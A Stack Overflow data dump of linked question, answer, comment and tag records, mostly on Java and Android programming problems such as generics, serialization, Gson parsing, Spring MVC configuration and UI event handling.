has text: I just looked at the Runtime object, you avec a version of the exec method to specify the folder where you want your command ran: Runtime.getRuntime().exec(null, args, null);
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22200014

http://stackoverflow.com/comment/33847590
comment on: http://stackoverflow.com/q/22280796
has text: Well, i did that to no avail.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/22244242
tagged with: java
has answer: http://stackoverflow.com/a/22245273
type: Question
has body: Intent next = new Intent(Intent.ACTION_SENDTO); next.setData(Uri.parse("mailto:zuron7@gmail.com")); next.putExtra(Intent.EXTRA_SUBJECT, "Attendance"); String message = ""; Resources r = getResources(); String name = getPackageName(); int[] ids = new int[3]; for(int i =0; i&lt;3;i++){ String x = "check"+i; ids[i]= r.getIdentifier(x,"id", name); } for(int i = 0; i&lt;3;i++){ CheckBox checkbox = (CheckBox) findViewById(ids[i]); if(checkbox.isChecked()){ message=message+getResources().getString(R.string.Swag1); } } next.putExtra(Intent.EXTRA_TEXT,message); if (next.resolveActivity(getPackageManager()) != null) startActivity(next); When I run the app on my phone and hit the button which launches this method, it stops unexpectedly. I'm not really sure where the problem is. I basically want to take attendance for a group of students and send the names of those absent to the coordinator.
has title: Check if elements in a check list are ticked and send those via email?
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/3132889
accepted answer: http://stackoverflow.com/a/22245273
tagged with: android
tagged with: checkbox
type: AnsweredQuestion

http://stackoverflow.com/comment/33898220
has text: Awesome .. don't forget the thumbs up for the solution! ty
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22304728

http://stackoverflow.com/a/22174858
has body: I believe that x.isAssignableFrom(z) will be false unless x explicitly implements z in it's declaration. (even though the superClass implements z).
answers question: http://stackoverflow.com/q/22174586
has comment: http://stackoverflow.com/comment/33656062
score: 0
has comment: http://stackoverflow.com/comment/33657025
has comment: http://stackoverflow.com/comment/33657198
has comment: http://stackoverflow.com/comment/33656440
has comment: http://stackoverflow.com/comment/33656585
type: Answer

http://stackoverflow.com/q/22170851
answer count: 2
accepted answer: http://stackoverflow.com/a/22171086
has comment: http://stackoverflow.com/comment/33648747
has answer: http://stackoverflow.com/a/22170987
has comment: http://stackoverflow.com/comment/33648700
has title: How to exclude the lib folder in maven?
possible better answer: http://stackoverflow.com/a/22170987
has body: How can I exclude the lib folder using maven? I don't want these resources to be copied when packaging and building war file. The following does not work: maven-war-plugin 2.4 ${basedir}/src/main/webapp/WEB-INF/lib/** Example path: ../lib/my/path/to/lib.jar Running mvn package will include all files from the lib folder.
tagged with: maven
has answer: http://stackoverflow.com/a/22171086
type: AnsweredQuestion
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33652505
type: Question

http://stackoverflow.com/comment/33814108
has text: Clarify please -- is this a Swing related question? What have you tried? Where are you stuck?
type: QuestionComment
comment on: http://stackoverflow.com/q/22261886
score: 0
type: Comment

http://stackoverflow.com/comment/33887286
type: Comment
comment on: http://stackoverflow.com/a/22302130
has text: Added the dewbugging vaues of offsets above.
score: 0
type: AnswerComment

http://stackoverflow.com/a/22641135
upvote count: 1
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/22274972
answers question: http://stackoverflow.com/q/22274972
has body: The documentation for @EnableWebMvc describes three levels of customization for tailoring your configuration. You can: Use @EnableWebMvc on its own to import the standard configuration. Use @EnableWebMvc with configuration classes that extend WebMvcConfigurerAdapter; the subclasses will have their implemented methods called automatically to apply your changes to the standard configuration. Don't use @EnableWebMvc, but instead make your configuration class extend WebMvcConfigurationSupport to gain full control over your configuration. However, what the documentation does not make clear is that if you go for option 3 it will not automatically apply the methods implemented in classes that extend WebMvcConfigurerAdapter. As others have said, we really need to see your full configuration, but if simply extending WebMvcConfigurationSupport and removing @EnableWebMvc breaks other parts of your configuration, my guess is that you are still using WebMvcConfigurerAdapter somewhere else in your config. If this is the case, you have two options: Rewrite all your configuration that uses WebMvcConfigurerAdapter and move the code into a single configuration class that extends WebMvcConfigurationSupport. Extend DelegatingWebMvcConfiguration instead of WebMvcConfigurationSupport. This will give you all the standard configuration behaviour that you normally get when using @EnableWebMvc but still allow you to override methods as required. Note that in any method you override, you'll also need to call the equivalent method in super() if you want to keep the default behaviour too.

http://stackoverflow.com/comment/34181378
type: Comment
comment on: http://stackoverflow.com/a/22469575
has text: Great to hear! Good luck in your coding adventures.
type: AnswerComment
score: 0

http://stackoverflow.com/a/22189035
answers question: http://stackoverflow.com/q/22188915
has body: It is most like a design issue. It can have multiple solutions. Simple is return false, after printing the first error message it would not go further. else take stringbuffer, append all error message in one and print that. your choice.
score: 0
type: Answer

http://stackoverflow.com/a/22307277
has body: This means there's nothing to read. This is what the error says. You should make sure you have data written out before trying to read. You have many conditions before actually writing out something. Check to what these conditions evaluate, maybe you don't even get to the point of writing. "ObjectInputStream not working" is a pretty strong statement, actually your program using ObjectInputStream is not working.
has comment: http://stackoverflow.com/comment/33895486
has comment: http://stackoverflow.com/comment/33895573
score: 1
has comment: http://stackoverflow.com/comment/33896025
has comment: http://stackoverflow.com/comment/33895750
has comment: http://stackoverflow.com/comment/33895264
has comment: http://stackoverflow.com/comment/33895956
has comment: http://stackoverflow.com/comment/33895457
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22307115
answers question: http://stackoverflow.com/q/22307115
type: Answer
has comment: http://stackoverflow.com/comment/33896307
has comment: http://stackoverflow.com/comment/33895652
has comment: http://stackoverflow.com/comment/33895647
upvote count: 1
has comment: http://stackoverflow.com/comment/33895320

http://stackoverflow.com/a/22309732
has body: You need to move your mt = (EditText)findViewById stuff back to onCreate. Then, if you want to use anonymous classes, do something like: mt.setOnClickListener(new OnClickListener() { public void onClick(View v) { ... } }); Also, make sure you're using View.OnClickListener and not DialogInterface.OnClickListener as you are now (check your imports).
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22309560

gson
tags question: http://stackoverflow.com/q/22203709
tags question: http://stackoverflow.com/q/22271779
tags question: http://stackoverflow.com/q/22172607
tags question: http://stackoverflow.com/q/22285661
tags question: http://stackoverflow.com/q/22310143
tags question: http://stackoverflow.com/q/22215794
tags question: http://stackoverflow.com/q/22270825
tags question: http://stackoverflow.com/q/22245812
tags question: http://stackoverflow.com/q/22280055
tag name: gson
tags question: http://stackoverflow.com/q/22307382
tags question: http://stackoverflow.com/q/22314019
tags question: http://stackoverflow.com/q/22270165
tags question: http://stackoverflow.com/q/22276168
tags question: http://stackoverflow.com/q/22293273
type: Tag
tags question: http://stackoverflow.com/q/22321962

http://stackoverflow.com/q/22264437
has answer: http://stackoverflow.com/a/22264501
type: Question
answer count: 1
has body: Having trouble figuring out how to express this in java generics. I want to create a method that will create some test data - in this case, pass in a collection type and a value type and return an example of that - e.g. generateSampleCollection(HashSet.class, String.class) -&gt; returns a HashSet&lt;String&gt; The problem is that I can't figure out how to express this with generics. For example: public static &lt;T extends Collection&lt;E&gt;, E&gt; T&lt;E&gt; generateSampleCollection(Class&lt;T&gt; t, Class&lt;E&gt; i) {... } fails with the error "The type T is not generic". Anyone know how to do this? Seems like it should be do-able but I'm not seeing it.
score: 0
has title: Java generic specification
tagged with: generics
type: UnansweredQuestion
tagged with: java

http://stackoverflow.com/comment/33662436
comment on: http://stackoverflow.com/q/22178133
score: 0
has text: @user3380023 well, it's good to know how it works so you can avoid it, I guess
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33897188
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22299478
type: AnswerComment
has text: I did that but still the problem persists.

http://stackoverflow.com/comment/33677513
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22183207
has text: i tried that, even though the docs say what seems to be what i want, when the build starts i see the start and finish methods execute multiple times, don't know why.

http://stackoverflow.com/a/22214511
type: Answer
upvote count: 1
downvote count: 0
has body: A main method is static and thus has static context. No instance of Question3.class is required for a thread to enter that code block. Your class customers is defined inside of Question3. Because it is an inner class, it has implicit access to the fields and methods inside of the Question3 class, but it requires an instance of Question3 to be able to achieve that behavior. You need to move the code you have now in main(String args[]) into a constructor for the class Question3, and create an instance of Question3 in your main method like so : public static void main(String args[]) { Question3 myQuestion3 = new Question3(); } Alternatively as mentioned by others, you could make your customers class static. This will solve the issue by effectively making customers a top level class, but you will lose the ability to implicitly access the fields and methods of its enclosing type, which is the Question3 class.
score: 1
answers question: http://stackoverflow.com/q/22214457

http://stackoverflow.com/comment/33729884
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22215235
type: AnswerComment
has text: After putting this all together, doing the following: WriteString(bw, "hello world"); Results in: h[]e[]l[]l[]o[] []w[]o[]r[]l[]d

http://stackoverflow.com/a/22225732
has comment: http://stackoverflow.com/comment/34476784
has comment: http://stackoverflow.com/comment/33783685
has body: /** * 序列化数据 * * @param o * @param file */ public static void serializationOfObject(Object o, File file) { try { FileOutputStream fos = new FileOutputStream(file); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(o); oos.flush(); oos.close(); } catch (IOException e) { Log.e("Utility", e.getMessage(), e); } } /** * 反序列化数据 * * @param file * @return */ public static Object deserializationOfObject(File file) { if (!file.exists()) return null; Object object = null; try { FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis); object = ois.readObject(); ois.close(); } catch (Exception e) { Log.e("Utility", e.getMessage(), e); } return object; } when you want to save,just call serializationOfObject(arraylist,file); when you want to get,call (ArrayList&lt;T&gt;)deserializationOfObject(file); hope to help you.
type: Answer
answers question: http://stackoverflow.com/q/22225442
score: 0

http://stackoverflow.com/comment/33926373
score: 0
comment on: http://stackoverflow.com/q/22324993
type: Comment
type: QuestionComment
has text: sorting is extra effort, why not just iterating through your list, keep the previous highest scoring player and compare the current player with?

http://stackoverflow.com/comment/33808159
type: Comment
has text: only one correction you need to specify the array size otherwise arrayindexoutofbound of exception arises. Thanks.
score: 0
comment on: http://stackoverflow.com/a/22258726
type: AnswerComment

addition
tags question: http://stackoverflow.com/q/22307112
tags question: http://stackoverflow.com/q/22247538
type: Tag
tag name: addition
tags question: http://stackoverflow.com/q/22256150
tags question: http://stackoverflow.com/q/22233906
tags question: http://stackoverflow.com/q/22203958

http://stackoverflow.com/a/22221496
has comment: http://stackoverflow.com/comment/33739688
has comment: http://stackoverflow.com/comment/33740439
has body: Your repeated instantiation of Random is ruining the statistical properties of the generator. You need to create one instance and pass that into your functions. Better still, use a field in your class. Please refer to this question for concerns over thread safety of the Random class:Is Random class thread safe?. It seems to suggest that you should synchronize the nextInt calls.
score: 5
accepted answer of: http://stackoverflow.com/q/22221424
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22221424
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/33739722
downvote count: 0

http://stackoverflow.com/q/22226789
has body: I have made an apk that allows the user to edit kernel's configuration and to make these changes sticky also after a reboot I have added the scripts that the app copies into init.d folder. Now the problem is that the scripts are very much and I'm thinking about making a bootservice that applies the user's preferences at boot, simply executing commands at boot avoiding the scripts and so saving space. Can someone explain to me what I have to do?
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/33748926
favorite count: 0
type: UnansweredQuestion
tagged with: android
tagged with: apk
has title: Execute operation on boot
has answer: http://stackoverflow.com/a/22226906
linked to: http://stackoverflow.com/q/5464713
tagged with: java
downvote count: 1
type: Question
linked to: http://stackoverflow.com/q/5051687
has answer: http://stackoverflow.com/a/22227032
score: -1

http://stackoverflow.com/a/22175373
type: AcceptedAnswer
downvote count: 0
has body: Upsides: a small amount of disk space and RAM is saved. Remember that the only heap space taken belongs to the java.lang.Class instances representing the types you actually load from that JAR file. Downsides: all applications in the JVM are locked-into using the version of the library that is shared. If you really want all deployed webapps to be identical, then this really is no downside. Deployments can get tricky because you have to maintain a non-standard deployment process (e.g. the webapp is not self-contained) that may be different from container-to-container or between versions of the same container (e.g. Tomcat changed its mind between versions 4 and 5, 5 and 5.5, and 5 and 6 for how to configure "common" and "shared" libraries). If the web applications are identical, you should ask yourself: should you even be deploying more than one? Instead, you could sniff the URL and use a configuration for each kind of client instead of deploying the applications separately.
type: Answer
accepted answer of: http://stackoverflow.com/q/22174710
answers question: http://stackoverflow.com/q/22174710
score: 4
upvote count: 4

http://stackoverflow.com/a/22238319
type: Answer
score: 3
downvote count: 0
has body: Groovy generates getters and setters for class properties. When you leave the modifiers off the field definition, it is actually creating the property as a private field and generating the accessor and mutator methods. When using Groovy, calling 'g.var' actually calls the accessor (i.e. 'g.getVar()'); it is just allowing you to use the property access style. If your Java class called 'g.getVar()' it will be able to access the data. See Groovy Beans for a more lengthy explanation.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22237926
upvote count: 3
has comment: http://stackoverflow.com/comment/76168226
answers question: http://stackoverflow.com/q/22237926

http://stackoverflow.com/a/22236538
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22236009
has body: This has to do with inheritance. We'll say Object o (the parameter) is an instance of a Cat object. The Cat class, along with every other class, is a descendant of the Object, and so Cat must have all the same public methods that Object does. In Cat, we also overrode the equals(Object other) method, which is declared by Object. Cat has its own way it checks if it is equal to another object. If it didn't, you wouldn't be able to tell a Cat from a Dog from an Apple from a Carburetor using equals() List, or rather whichever implementation of List you're using (probably ArrayList) identifies Object o within its contents using o's equals() method. Since (in our example) o is a Cat object, o needs to know if each item in the list is the same thing, and it has to check values that are specific to Cats. When Cat.equals(Object other) returns true, List.indexOf(Object o) will return the index it was on. Another way that might be helpful, is to think how Object.equals(Object other) would check equality. Object itself only compares the two items' memory addresses. It has nothing else it can compare. Even if the Object is really a Dog, if Dog.equals(Object other) isn't impemented, it cannot compare two Dogs intelligently.

http://stackoverflow.com/a/22327101
has comment: http://stackoverflow.com/comment/33930539
downvote count: 0
answers question: http://stackoverflow.com/q/22327060
score: 4
has body: You're declaring a new class instead of method try to change them like this one: public void getGrades() { //your code. } instead of class getGrades{//error here //your code. } Also You need to remove the new keyword from calling the methods, you can call them like thes: LabWork1 labwork = new LabWork1(); labwork.getGrades(); All about classes and methods in java.
has comment: http://stackoverflow.com/comment/33930236
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33930817
has comment: http://stackoverflow.com/comment/33930176
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/22327060

http://stackoverflow.com/q/22309066
has body: I have 4 ImageButton and I want to change the images of them randomly FOR 2 seconds. But it doesn't work. What is the problem here? I don't really understand the work of Handlers. I want: change the image of buttonimage, wait 5 seconds, change back the image of buttonimage for (int i = 0; i &lt; cpu_array.length; i++) { actual = cpu_rnd.nextInt(4); cpu_array[i] = actual; switch (actual) { case 0: BlueButton.setImageResource(R.drawable.blue_a); break; case 1: RedButton.setImageResource(R.drawable.red_a); break; case 2: GreenButton.setImageResource(R.drawable.green_a); break; case 3: PurpleButton.setImageResource(R.drawable.purple_a); break; default: break; } handler.postDelayed(new Runnable() { @Override public void run() { // Do something after 2s = 2000ms BlueButton.setImageResource(R.drawable.blue); RedButton.setImageResource(R.drawable.red); GreenButton.setImageResource(R.drawable.green); PurpleButton.setImageResource(R.drawable.purple); } }, 2000); }
tagged with: timer
type: Question
tagged with: android
has comment: http://stackoverflow.com/comment/33907906
has comment: http://stackoverflow.com/comment/33898752
score: 0
tagged with: java
tagged with: loops
answer count: 1
has answer: http://stackoverflow.com/a/22313941
has title: java android handler timer in for loop
has comment: http://stackoverflow.com/comment/33899055
type: UnansweredQuestion
tagged with: handler

http://stackoverflow.com/q/22313414
has answer: http://stackoverflow.com/a/22313508
linked to: http://stackoverflow.com/q/4815596
tagged with: java
tagged with: eclipse
type: Question
tagged with: datagrid
tagged with: event-handling
accepted answer: http://stackoverflow.com/a/22313508
score: 0
has body: I am having an issue implementing a double click handler for my Datagrid. I have found a solution posted on Stack overflow that should fix my problem i believe, however, I can not figure out: 1. How exactly do I implement it? 2. What is &lt;T&gt;? I am getting various errors I do not understand. The issue is almost certainly with the way I add the CellPreviewHandler (Line 6) Errors (line 6 &amp; 8) -the Type new CellPreviewEvent.Handler(){} must implement the inherited abstract method CellPreviewEvent.Handler.onCellPreview(CellPreviewEvent) -The method onCellPreview(CellPreviewEvent) of type new AsynCallBack(String[][]>(){} must override or implement a supertype method MyCode: Public Class DataGrid extends Widget{ Timer singleClickTimer; int clickCount = 0; int clickDelay = 300; myDataTable = new DataGrid&lt;String[]&gt;(result.length, resources, KEY_PROVIDER); myDataTable.addCellPreviewHandler(new Handler&lt;T&gt;(){ @Override public void onCellPreview(final CellPreviewEvent&lt;T&gt; event) { if (Event.getTypeInt(event.getNativeEvent().getType()) == Event.ONMOUSEOVER) { handleOnMouseOver(event); } else if (Event.getTypeInt(event.getNativeEvent().getType()) == Event.ONCLICK) { clickCount++; if (clickCount == 1) { singleClickTimer = new Timer() { @Override public void run() { clickCount = 0; handleOnClick(event); } }; singleClickTimer.schedule(clickDelay); } else if (clickCount == 2) { singleClickTimer.cancel(); clickCount = 0; handleOnDblClick(event); } } } }); private void handleOnMouseOver(CellPreviewEvent&lt;T&gt; event) { Element cell = event.getNativeEvent().getEventTarget().cast(); GWT.log("mouse over event"); } private void handleOnClick(CellPreviewEvent&lt;T&gt; event) { Element cell = event.getNativeEvent().getEventTarget().cast(); GWT.log("click event"); } private void handleOnDblClick(CellPreviewEvent&lt;T&gt; event) { Element cell = event.getNativeEvent().getEventTarget().cast(); GWT.log("double click event"); } Link to original solution: adding Double c…
has title: Double click event not working- DataGrid - GWT
answer count: 1
tagged with: gwt
type: AnsweredQuestion

http://stackoverflow.com/comment/33787616
type: Comment
has text: Having one element refer to both the head and the tail would be very confusing.
score: 0
comment on: http://stackoverflow.com/a/22246603
type: AnswerComment

http://stackoverflow.com/a/22263581
score: 0
has comment: http://stackoverflow.com/comment/33817569
has body: Why isn't commonDenom/UserInterface.class the first line Because it wasn't the first file encountered by * or specified in the -m option. if that's the one I've designated as the Main-Class in the manifest? Irrelevant. The Main-Class attribute doesn't control the order of the file. It controls what the JVM uses as the entry point when you use java -jar. Is something wrong with the syntax of Manifest.txt? No. Why do you think it should be the first line? It doesn't need to be the first line. The MANIFEST.MF tells Java what the main class is, not the order in the JAR file.
type: Answer
answers question: http://stackoverflow.com/q/22263218
has comment: http://stackoverflow.com/comment/33817266
has comment: http://stackoverflow.com/comment/33817369

http://stackoverflow.com/comment/33703235
type: QuestionComment
comment on: http://stackoverflow.com/q/22201227
has text: @KevinWorkman I tried add mouselistener to these JTextArea, when mouseEnter, I select text in that TextArea, and highlight the text, pragmatically. This is both hard and error prone, I think maybe there is a better way
score: 0
type: Comment

http://stackoverflow.com/a/64630221
score: 0
type: Answer
has body: I think code should be much simpler, maybe the answer was written with old Spring version. In this example I've implemented method to handle exception - HttpClientErrorException.Unauthorized to cover authentication issue (401): @ControllerAdvice public class MyErrorsHandler extends ResponseEntityExceptionHandler { @ExceptionHandler(HttpClientErrorException.Unauthorized.class) protected ResponseEntity<Object> handleAuthenticationError(RuntimeException ex, WebRequest request) { return handleExceptionInternal(ex, "Cannot login, please check your inputs", new HttpHeaders(), HttpStatus.UNAUTHORIZED, request); } } Finally I get correct error to GUI
answers question: http://stackoverflow.com/q/22296448

http://stackoverflow.com/a/22276228
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/93283165
has comment: http://stackoverflow.com/comment/93372233
accepted answer of: http://stackoverflow.com/q/22276168
type: Answer
has comment: http://stackoverflow.com/comment/93465707
has comment: http://stackoverflow.com/comment/93455817
answers question: http://stackoverflow.com/q/22276168
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/33840103
downvote count: 1
has comment: http://stackoverflow.com/comment/93450794
has body: Your JSON is actually a JSON object containing a JSON object named response. That JSON object has the format of your Pojo. So one option is to create that hierarchy in Java public class Wrapper { private ErrorResponse response; // getters &amp; setters } And deserialize that Wrapper wrapper = (Wrapper) gson.fromJson(new String(responseBody), Wrapper.class); ErrorResponse errorResponse = wrapper.getResponse(); An alternative is to parse the JSON into a JsonElement which you use to get the JSON object named response and convert that one. Use the following types from the Gson library: import com.google.gson.JsonParser; import com.google.gson.GsonBuilder; import com.google.gson.Gson; import com.google.gson.JsonElement; //... Gson gson = new GsonBuilder().create(); JsonParser parser = new JsonParser(); JsonElement jsonElement = parser.parse(json); ErrorResponse response = gson.fromJson(jsonElement.getAsJsonObject().get("response"), ErrorResponse.class); Note that your class' field names must match the JSON or vice versa. result vs Result. Or you can use @SerializedName to make it match @SerializedName("Response") private String response;

http://stackoverflow.com/comment/33728687
has text: yes, if the OP has to perform initializations specific to each Graph derivative class, the same can be performed in its constructor after the `super()` is invoked.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22215015
type: AnswerComment

install4j
tags question: http://stackoverflow.com/q/22192939
type: Tag
tags question: http://stackoverflow.com/q/22226894
tag name: install4j
tags question: http://stackoverflow.com/q/22209168

http://stackoverflow.com/comment/33904405
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22310870
has text: @DavidKnipe That's not true, Bar instances with different Foo parents will share the same class.
score: 0

http://stackoverflow.com/q/22273647
tagged with: rest
has comment: http://stackoverflow.com/comment/33835630
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22285777
accepted answer: http://stackoverflow.com/a/22285777
has comment: http://stackoverflow.com/comment/33834965
type: Question
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33835324
has comment: http://stackoverflow.com/comment/33834935
linked to: http://stackoverflow.com/q/13262662
score: 0
tagged with: jersey
has body: Im very new to Jersey REST and I'm trying to build a sample library system. I have created my BookResource.java and I want it to display the following output in browser: { “book” : { “isbn” : 1, “title” : “Programming Amazon EC2”, “publication-date” : “2/11/2011”, “language” : “eng”, “num-pages”: 185, “status” : “available”, “authors” : [ { “rel”: “view-author”, “href”: “/books/1/authors/1”, “method”: “GET” }, { “rel”: “view-author”, “href”: “/books/1/authors/2”, “method”: “GET” } ] }, "links" : [] } My Book.java is below: public class Book { private long isbn; private String title; @JsonProperty("publication-date") @JsonFormat(shape = JsonFormat.Shape.STRING, pattern = "MM/dd/yyyy") private String date; private String language; private String status; @JsonProperty("num-pages") private Integer num_pages; @JsonProperty("authors") private ArrayList&lt;Author&gt; authorList; public Book() {} //getters and setters } Author.java public class Author { @JsonProperty("name") private String name; public Author() {} public String getAuthor() { return name; } public void setAuthor(String newAuthor){ this.name = newAuthor; } } BookRepository.java public class BookRepository implements BookRepositoryInterface { public ArrayList&lt;Author&gt; getAuthorByIsbn(Long isbn) { Book newBook = bookInMemoryMap.get(isbn); ArrayList&lt;Author&gt; authorList = newBook.getAuthor(); return authorList; } } However my actual GET response on browser is showing as: { "book": { "isbn": 1, "title": "Programming EC2r", "language": "eng", "status": "available", "author": [{ "name": "auth1", "author": "auth1" }, { "name": "auth2", "author": "auth2" }], "num_Pages": 185, "publication-date": "2/11/2011", "num-pages": 185, "authors": [{ "name": "auth1", "author": "auth1" }, { "name": "auth2", "author": "auth2" }] } BookResource.java public class BookResource { @GET @Path("/{isbn}") @Timed(name = "view-book") public BookDto getBookByIsbn(@PathParam("isbn") LongParam isbn) { Book book = bookRepository.getBo…
upvote count: 1
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/33834706
favorite count: 0
has title: JSON output displaying incorrectly when doing GET using Jersey REST
has comment: http://stackoverflow.com/comment/33835452

http://stackoverflow.com/comment/33806942
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22257407
has text: http://stackoverflow.com/questions/22190578/adt-will-not-allow-creation-of-android-activity

http://stackoverflow.com/q/22240493
type: UnansweredQuestion
tagged with: java
has body: I am not able to find any satisfying solution so asking here. I need to compare data of two large tables(~50M) with the same schema definition in JAVA. I can not use order by clause while getting the resultset object and records might be not in order in both of the tables. Can anyone help me what can be the right way to do it?
type: Question
answer count: 2
score: 0
tagged with: resultset
tagged with: compare
has answer: http://stackoverflow.com/a/22240573
has answer: http://stackoverflow.com/a/22241173
has comment: http://stackoverflow.com/comment/33775063
has title: Compare very large tables in java

http://stackoverflow.com/comment/33823878
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22266965
has text: I don't get what you mean?

http://stackoverflow.com/a/22289254
type: Answer
upvote count: 1
score: 1
has body: For clarification, the exception is: Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 6 at Test.displayIntCount(Test.java:38) at Test.main(Test.java:20) Java Result: 1 The problem is in displayIntCount(), you're looping through with i up until the last index in the array - but then trying to access i+1 through to i+5. You probably want to therefore change the condition to counts.length-5. In this case it seems like the program just works because the exception causes it to bow out and fail to print anything (and since this was a case you shouldn't have hit so didn't want to print anything anyway, the normal output stays ok.)
answers question: http://stackoverflow.com/q/22289209
downvote count: 0

http://stackoverflow.com/q/22267766
type: Question
has title: How to load resources consistently in applet and desktop-app?
tagged with: image
has answer: http://stackoverflow.com/a/22267805
score: 0
answer count: 1
has body: I have a desktop application, and I would like to have an applet-version of it. I want the jar to be executable, and capable of being run as an applet. I have a GamePane class that extends JPanel and loads some media from the media folder in the following manner: File f = new File("media/path/to/file"); How do I modify this so that the media loads correctly, regardless of whether the jar is run as an executable, or as an applet? I saw this answer, but none of the suggestions work, at-least not in development when the code being run is inside the bin folder, instead of a jar. If it only works with the jar, then is there any way to make the dev-process less painful? My directory structure is: Game-&gt; media game.jar
tagged with: load
tagged with: applet
tagged with: media
type: UnansweredQuestion
tagged with: java
linked to: http://stackoverflow.com/q/8714294

http://stackoverflow.com/q/22297763
score: 0
has title: How to use JAI library in windows xp
has body: I have Downloaded the JAI library jar file from the net. Now, I'm unable to install and make use of that file in my programs. I have even tried setting classpath, but it is not working. What to do now? I'm repeatedly getting this error : error: package javax.media.jai does not exist
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33878108
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/33878348
tagged with: java

http://stackoverflow.com/a/22219939
type: Answer
accepted answer of: http://stackoverflow.com/q/22219562
has body: to start a Another activity class Intent i = new Intent(this, ActivityTwo.class);//this your current class startActivity(i); to pass a value in class 1 Intent i = new Intent(this, ActivityTwo.class); i.putExtra("Value1", "This value one for ActivityTwo "); i.putExtra("Value2", "This value two ActivityTwo"); to get values .from ActivityTwo.class Bundle extras = getIntent().getExtras(); if (extras == null) { return; } // get data via the key String value1 = extras.getString(Intent.EXTRA_TEXT); if (value1 != null) { // do something with the data }
answers question: http://stackoverflow.com/q/22219562
downvote count: 0
score: 2
type: AcceptedAnswer
upvote count: 2

http://stackoverflow.com/q/22308130
tagged with: equals
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33897072
upvote count: 1
has answer: http://stackoverflow.com/a/22309566
has title: Example of 2 objects in java having same hash value but equals method returns false on them
tagged with: hashcode
score: 1
tagged with: java
tagged with: overriding
has answer: http://stackoverflow.com/a/30733797
type: Question
answer count: 3
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33897404
has comment: http://stackoverflow.com/comment/33896896
has body: We all know that if equals method returns true, then two objects are equal. Can anybody give an example where 2 objects have the same hash value but they are actually different?
has answer: http://stackoverflow.com/a/22308462

http://stackoverflow.com/a/22304771
downvote count: 0
answers question: http://stackoverflow.com/q/22304642
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33904787
upvote count: 2
has comment: http://stackoverflow.com/comment/33914409
has body: The java.io API knows nothing about your class. The (inherited) method listFiles() returns File objects. This line: ((MyFile) tab1).listFilesRecurse(); has a cast that fails because a File is not a MyFile. To make your idea "work", you would have to override listFiles() (and every other method that returns File objects) to return MyFile objects instead.

http://stackoverflow.com/comment/33795448
score: 0
type: QuestionComment
type: Comment
has text: This is not "an error", this is just your access logs, telling you there's an error in the /greet servlet (status code 500).
comment on: http://stackoverflow.com/q/22250500

http://stackoverflow.com/comment/33770505
score: 0
type: Comment
type: QuestionComment
has text: How do I do I reset count? Sorry I'm new to java and I visually see things better.
comment on: http://stackoverflow.com/q/22237930

http://stackoverflow.com/comment/33925455
comment on: http://stackoverflow.com/a/22322782
has text: Hi, this is the command that i typed javac -verbose -classpath .:RTXXcomm.jar SerialTest.java may i know if this is correct? I still get the error in which gnu.io does not exist. Thanks
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33762546
type: QuestionComment
comment on: http://stackoverflow.com/q/22233965
has text: I'm sorry I don't see anything wrong here? That's the class name not the method name?
score: 0
type: Comment

http://stackoverflow.com/comment/33703778
comment on: http://stackoverflow.com/q/22201374
has text: 'madam' is a palindrome
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33831951
type: QuestionComment
comment on: http://stackoverflow.com/q/22270266
score: 0
has text: I tried deocmpiling using jd-gui. Got a similar result, with a few undeclared methods being called. Maybe groovy use proxies to add the functionality.
type: Comment

http://stackoverflow.com/a/22285815
has comment: http://stackoverflow.com/comment/33857170
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33859572
has body: As donfuxx said: OK.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int h, m; h = (Integer) hourSpinner.getValue(); m = (Integer) minuteSpinner.getValue(); parentPanel.createNewEvent(parentPanel.selectedBox, parentWindow, textPane.getText(), h, m); try { parentPanel.selectedBox.saveEventsToFile(); } catch (ExeptionThaIsThrownBySaveEventsMethod e) { // display error } dispose(); } });
has comment: http://stackoverflow.com/comment/33857197
answers question: http://stackoverflow.com/q/22285750
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22285750

http://stackoverflow.com/a/22215453
downvote count: 0
has body: right click the project -> Build Path -> Configure Build Path -> Order and Export
type: AcceptedAnswer
type: Answer
score: 3
accepted answer of: http://stackoverflow.com/q/22198611
upvote count: 3
